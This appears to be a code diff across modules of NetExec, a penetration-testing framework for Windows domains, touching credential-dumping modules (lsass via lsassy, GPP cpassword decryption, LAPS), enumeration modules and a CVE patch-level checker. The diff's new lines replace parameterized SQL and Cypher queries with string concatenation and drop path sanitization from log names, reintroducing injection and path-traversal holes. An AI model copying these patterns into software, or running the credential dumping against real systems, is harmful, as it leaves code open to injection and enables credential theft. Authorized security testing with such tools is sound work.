self.exploitation_details = module_options.get("EXPLOITATION", "false").lower() in ["true", "1", "yes"]
|
||||
self.listener = None
|
||||
if "CVE" in module_options:
|
||||
self.cve = module_options["CVE"].lower()
|
||||
if "EXPLOITATION" in module_options:
|
||||
self.exploitation_details = module_options["EXPLOITATION"].lower() in ["true", "1", "yes"]
|
||||
|
||||
def is_vulnerable(self, os_key, ubr, msrc):
|
||||
min_patched_ubr = msrc.get(os_key)
|
||||
def is_vulnerable(self, major, minor, build, ubr, msrc):
|
||||
key = (major, minor, build)
|
||||
min_patched_ubr = msrc.get(key)
|
||||
if min_patched_ubr is None:
|
||||
return None # Unknown product
|
||||
if ubr is None:
|
||||
return None
|
||||
return ubr < min_patched_ubr
|
||||
|
||||
def on_login(self, context, connection):
|
||||
@@ -78,22 +85,12 @@ class NXCModule:
|
||||
return
|
||||
|
||||
# Check each CVE
|
||||
os_version = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}"
|
||||
os_key = (connection.server_os_major, connection.server_os_minor, connection.server_os_build)
|
||||
if not any(os_key in entry["patches"] for entry in self.CVE_PATCHES.values()):
|
||||
context.log.info(f"Build {os_version} is not listed in any check, cannot determine vulnerability status")
|
||||
return
|
||||
|
||||
for cve in self.CVE_PATCHES:
|
||||
if self.cve == "all" or self.cve.lower() == cve.lower():
|
||||
if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc():
|
||||
context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers")
|
||||
continue
|
||||
vulnerable = self.is_vulnerable(os_key, ubr, self.CVE_PATCHES[cve]["patches"])
|
||||
if vulnerable is None:
|
||||
context.log.info(f"Cannot check {self.CVE_PATCHES[cve]['alias']}: no patched UBR known for build {os_version}")
|
||||
continue
|
||||
if vulnerable:
|
||||
if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]):
|
||||
if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs
|
||||
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}")
|
||||
else:
|
||||
@@ -101,7 +98,7 @@ class NXCModule:
|
||||
if self.exploitation_details:
|
||||
context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}")
|
||||
else:
|
||||
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'][os_key]})")
|
||||
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})")
|
||||
|
||||
# patches: key = (major, minor, build), value = minimum patched UBR
|
||||
CVE_PATCHES = {
|
||||
@@ -224,40 +221,4 @@ class NXCModule:
|
||||
"message": "Password reset of any account possible via Kerberos change password abuse",
|
||||
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217
|
||||
"CVE-2026-102217": {
|
||||
"alias": "PetitPotam WebDAV coercion",
|
||||
"patches": {
|
||||
(6, 2, 9200): 26434, # Windows Server 2012
|
||||
(6, 3, 9600): 23470, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9612, # Windows Server 2016
|
||||
(10, 0, 17763): 9376, # Windows Server 2019
|
||||
(10, 0, 19044): 7807, # Windows 10 21H2
|
||||
(10, 0, 19045): 7807, # Windows 10 22H2
|
||||
(10, 0, 20348): 5761, # Windows Server 2022
|
||||
(10, 0, 22631): 7652, # Windows 11 23H2
|
||||
(10, 0, 26100): 33650, # Windows Server 2025 (Win11 24H2 ships the same build patched at 9711)
|
||||
(10, 0, 26200): 9711, # Windows 11 25H2
|
||||
(10, 0, 26300): 9711, # Windows 11 26H2
|
||||
(10, 0, 28000): 3231, # Windows 11 26H1
|
||||
},
|
||||
"message": "PetitPotam (EFSRPC) can coerce to a WebDAV listener, the HTTP authentication can be relayed to LDAP/LDAPS",
|
||||
"exploitation": "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient",
|
||||
},
|
||||
# https://support.microsoft.com/en-us/servicing/os/azure-marketplace/windows-server/2026/windows-server-images-for-october-2026
|
||||
"KB5126646": {
|
||||
"alias": "LDAP Signing Bypass",
|
||||
"dc_only": True,
|
||||
"patches": {
|
||||
(6, 2, 9200): 26434, # Windows Server 2012
|
||||
(6, 3, 9600): 23470, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9612, # Windows Server 2016
|
||||
(10, 0, 17763): 9376, # Windows Server 2019
|
||||
(10, 0, 20348): 5756, # Windows Server 2022
|
||||
(10, 0, 25398): 2331, # Windows Server 2022 23H2 (EOL)
|
||||
(10, 0, 26100): 33648, # Windows Server 2025
|
||||
},
|
||||
"message": "SMB-to-LDAP NTLM relay is possible even when LDAP signature is required",
|
||||
"exploitation": "https://specterops.io/blog/2026/10/23/ldap-signing-bypass-ntlm-relay/",
|
||||
},
|
||||
}
|
||||
@@ -1,7 +1,6 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -64,6 +63,6 @@ class NXCModule:
|
||||
context.log.highlight("\t" + d)
|
||||
data += "\t" + d + "\n"
|
||||
|
||||
log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(data, log_name)
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -1,6 +1,6 @@
|
||||
from dploot.lib.target import Target
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
@@ -63,7 +63,7 @@ class NXCModule:
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
|
||||
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
|
||||
@@ -7,9 +7,8 @@ from datetime import datetime
|
||||
from struct import unpack
|
||||
|
||||
from impacket.structure import Structure
|
||||
from os.path import expanduser, join
|
||||
from os.path import expanduser
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -142,7 +141,7 @@ class NXCModule:
|
||||
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
|
||||
|
||||
context.log.highlight(f"Found {len(outdata)} records")
|
||||
path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")))
|
||||
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
with open(path, "w") as outfile:
|
||||
for row in outdata:
|
||||
if self.showhosts:
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import json
|
||||
|
||||
@@ -31,6 +30,6 @@ class NXCModule:
|
||||
|
||||
data.append(cards)
|
||||
|
||||
log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(json.dumps(data), log_name)
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -15,40 +15,45 @@ class NXCModule:
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
""" """
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Searching SYSVOL share for Registry.xml")
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for Registry.xml")
|
||||
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
|
||||
xml_section = xml.findall(".//Properties")
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
xml_section = xml.findall(".//Properties")
|
||||
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
+62
-57
@@ -21,77 +21,82 @@ class NXCModule:
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
|
||||
sysvol = share["name"]
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for potential XML files containing passwords")
|
||||
|
||||
paths = connection.spider(
|
||||
"SYSVOL",
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
paths = connection.spider(
|
||||
sysvol,
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile(sysvol, path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
|
||||
def decrypt_cpassword(self, cpassword):
|
||||
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
|
||||
|
||||
+17
-30
@@ -79,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
||||
if result["password"] is not None:
|
||||
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[password, len(username), username.upper()],
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
)
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
dbconnection.commit()
|
||||
session = driver.session()
|
||||
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
|
||||
context.log.fail(f"Hash for {username} is expired.")
|
||||
elif username not in found_users and nthash is not None:
|
||||
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
|
||||
found_users.append(username)
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[nthash, len(username), username.upper()],
|
||||
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
|
||||
[nthash],
|
||||
)
|
||||
dbconnection.commit()
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
session = driver.session()
|
||||
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||
paths = list(path_to_da.data())
|
||||
|
||||
@@ -118,12 +118,12 @@ def initial_run(connection, cursor):
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[password, len(username), username.upper()],
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
)
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[nthash, len(username), username.upper()],
|
||||
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
|
||||
[nthash],
|
||||
)
|
||||
|
||||
|
||||
@@ -188,7 +188,7 @@ class NXCModule:
|
||||
)
|
||||
if session.smb_session is None:
|
||||
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
|
||||
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"])
|
||||
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
|
||||
return False
|
||||
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
|
||||
if dumper is None:
|
||||
@@ -198,20 +198,9 @@ class NXCModule:
|
||||
if file is None:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
try:
|
||||
parsed = Parser(host, file).parse()
|
||||
finally:
|
||||
# Delete the remote file even when parsing failed, and even if closing it fails
|
||||
try:
|
||||
file.close()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error closing dumper file: {e}")
|
||||
if not ImpacketFile.delete(session, file.get_file_path()):
|
||||
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
|
||||
if parsed is None:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
credentials, tickets, masterkeys = parsed
|
||||
credentials, tickets, masterkeys = Parser(host, file).parse()
|
||||
file.close()
|
||||
ImpacketFile.delete(session, file.get_file_path())
|
||||
if credentials is None:
|
||||
credentials = []
|
||||
credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
|
||||
@@ -247,7 +236,7 @@ class NXCModule:
|
||||
for user in compromised_users:
|
||||
for pc in admin_access:
|
||||
if user[0] in pc[1]:
|
||||
cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]])
|
||||
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
|
||||
more_to_dump = cursor.fetchall()
|
||||
if len(more_to_dump) > 0:
|
||||
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
|
||||
@@ -257,10 +246,8 @@ class NXCModule:
|
||||
connection.nthash = user[1]
|
||||
connection.nthash = user[1]
|
||||
try:
|
||||
if self.run_lsassy(context, connection, cursor) is False:
|
||||
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
|
||||
continue
|
||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
|
||||
self.run_lsassy(context, connection, cursor)
|
||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
|
||||
|
||||
process_creds(
|
||||
context,
|
||||
|
||||
@@ -101,7 +101,7 @@ class NXCModule:
|
||||
context.log.fail("Invalid token ID submitted")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error running command: {e}")
|
||||
context.log.fail(f"Error runing command: {e}")
|
||||
finally:
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
|
||||
|
||||
+1
-4
@@ -45,15 +45,12 @@ class NXCModule:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server, connection.host, connection.remoteName, connection.aesKey)
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
context.log.fail(str(e))
|
||||
continue
|
||||
if not data:
|
||||
context.log.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {values['samaccountname']}")
|
||||
continue
|
||||
r = json.loads(data)
|
||||
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
|
||||
elif "mslaps-password" in values:
|
||||
|
||||
+13
-14
@@ -89,24 +89,23 @@ class NXCModule:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
|
||||
try:
|
||||
parsed = Parser(host, file).parse()
|
||||
finally:
|
||||
# Delete the remote file even when parsing failed, and even if closing it fails
|
||||
try:
|
||||
file.close()
|
||||
context.log.debug("Closed dumper file")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error closing dumper file: {e}")
|
||||
if ImpacketFile.delete(session, file.get_file_path()):
|
||||
context.log.debug("Deleted dumper file")
|
||||
else:
|
||||
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
|
||||
|
||||
parsed = Parser(host, file).parse()
|
||||
if parsed is None:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
credentials, tickets, masterkeys = parsed
|
||||
file.close()
|
||||
context.log.debug("Closed dumper file")
|
||||
file_path = file.get_file_path()
|
||||
context.log.debug(f"File path: {file_path}")
|
||||
try:
|
||||
deleted_file = ImpacketFile.delete(session, file_path)
|
||||
if deleted_file:
|
||||
context.log.debug("Deleted dumper file")
|
||||
else:
|
||||
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}")
|
||||
|
||||
if credentials is None:
|
||||
credentials = []
|
||||
|
||||
+7
-134
@@ -1,21 +1,10 @@
|
||||
import re
|
||||
import ntpath
|
||||
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.smb import get_smb_connection
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
|
||||
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.nmb import NetBIOSError, NetBIOSTimeout
|
||||
from impacket.krb5.kerberosv5 import KerberosError
|
||||
from impacket import nt_errors
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Shutdown, Podalirius and serwiz
|
||||
Module by Shutdown and Podalirius
|
||||
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
|
||||
|
||||
Initial module:
|
||||
@@ -25,16 +14,18 @@ class NXCModule:
|
||||
Shutdown: @_nwodtuhs
|
||||
Podalirius: @podalirius_
|
||||
"""
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute and check SeMachineAccountPrivilege (GPO/SYSVOL)"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Getting the MachineAccountQuota")
|
||||
|
||||
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
|
||||
entries = parse_result_attributes(ldap_response)
|
||||
|
||||
@@ -43,121 +34,3 @@ class NXCModule:
|
||||
return
|
||||
|
||||
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
|
||||
|
||||
self.get_SeMachineAccountPrivilege(context, connection)
|
||||
|
||||
def get_SeMachineAccountPrivilege(self, context, connection):
|
||||
gpo_links = self.get_gpo_links(context, connection)
|
||||
if not gpo_links:
|
||||
context.log.debug("No enabled GPO links found for the domain and Domain Controllers OU")
|
||||
return
|
||||
context.log.debug(f"gPLink parsed: {gpo_links}")
|
||||
|
||||
try:
|
||||
smb = get_smb_connection(context, connection)
|
||||
except (OSError, SessionError, NetBIOSError, NetBIOSTimeout, KerberosError) as e:
|
||||
context.log.fail(f"Unable to connect to SYSVOL through SMB: {e}")
|
||||
return
|
||||
if not smb:
|
||||
return
|
||||
context.log.display("Getting SeMachineAccountPrivilege")
|
||||
|
||||
try:
|
||||
for link in gpo_links:
|
||||
guid = link["guid"]
|
||||
gpo_name = self.resolve_gpo(connection, guid) or f"{{{guid}}}"
|
||||
# Accessing the GPO in the SYSVOL share to parse GptTmpl.inf
|
||||
path = ntpath.join(connection.targetDomain, "Policies", f"{{{guid}}}", "MACHINE", "Microsoft", "Windows NT", "SecEdit", "GptTmpl.inf")
|
||||
|
||||
try:
|
||||
buf = BytesIO()
|
||||
smb.getFile("SYSVOL", path, buf.write)
|
||||
GptTmpl = buf.getvalue().decode("utf-16le")
|
||||
except SessionError as e:
|
||||
if e.getErrorCode() in (nt_errors.STATUS_NO_SUCH_FILE, nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_OBJECT_PATH_NOT_FOUND):
|
||||
context.log.debug(f"No GptTmpl.inf for GPO {guid}")
|
||||
else:
|
||||
enforced_str = ", Enforced" if link["enforced"] else ""
|
||||
context.log.fail(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}] not readable ({e.getErrorString()[0]}), result may be incomplete')
|
||||
continue
|
||||
except (OSError, NetBIOSError, NetBIOSTimeout, UnicodeError) as e:
|
||||
context.log.fail(f"Unable to read {path}: {e}")
|
||||
continue
|
||||
|
||||
# An absent setting inherits; an explicitly empty assignment overrides.
|
||||
for line in GptTmpl.splitlines():
|
||||
match = re.match(r"^\s*SeMachineAccountPrivilege\s*=(.*)$", line.lstrip("\ufeff"))
|
||||
if match:
|
||||
value = match.group(1).strip()
|
||||
break
|
||||
else:
|
||||
context.log.debug(f"SeMachineAccountPrivilege not in {path}")
|
||||
continue
|
||||
|
||||
enforced_str = ", Enforced" if link["enforced"] else ""
|
||||
context.log.success(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}]')
|
||||
context.log.info(f"\t{line.strip()}")
|
||||
if not value:
|
||||
context.log.highlight("SeMachineAccountPrivilege explicitly assigned to nobody")
|
||||
continue
|
||||
|
||||
principals = [principal.strip() for principal in value.split(",") if principal.strip()]
|
||||
for principal in principals:
|
||||
match = re.fullmatch(r"\*?(S-\d+(?:-\d+)+)", principal)
|
||||
if not match:
|
||||
context.log.highlight(f'\t\t - "{principal}"')
|
||||
continue
|
||||
sid = match.group(1)
|
||||
if sid in WELL_KNOWN_SIDS:
|
||||
context.log.highlight(f'\t\t - "{WELL_KNOWN_SIDS[sid]}" ({sid})')
|
||||
continue
|
||||
resp = connection.search(searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"])
|
||||
entries = parse_result_attributes(resp)
|
||||
if entries and entries[0].get("sAMAccountName"):
|
||||
context.log.highlight(f'\t\t - "{entries[0]["sAMAccountName"]}" ({sid})')
|
||||
else:
|
||||
context.log.highlight(f"\t\t - {sid} (unresolved)")
|
||||
finally:
|
||||
smb.logoff()
|
||||
|
||||
def get_gpo_links(self, context, connection):
|
||||
ou_dn = f"OU=Domain Controllers,{connection.baseDN}"
|
||||
gpo_links = []
|
||||
block_inheritance = False
|
||||
|
||||
for scope_dn in (ou_dn, connection.baseDN):
|
||||
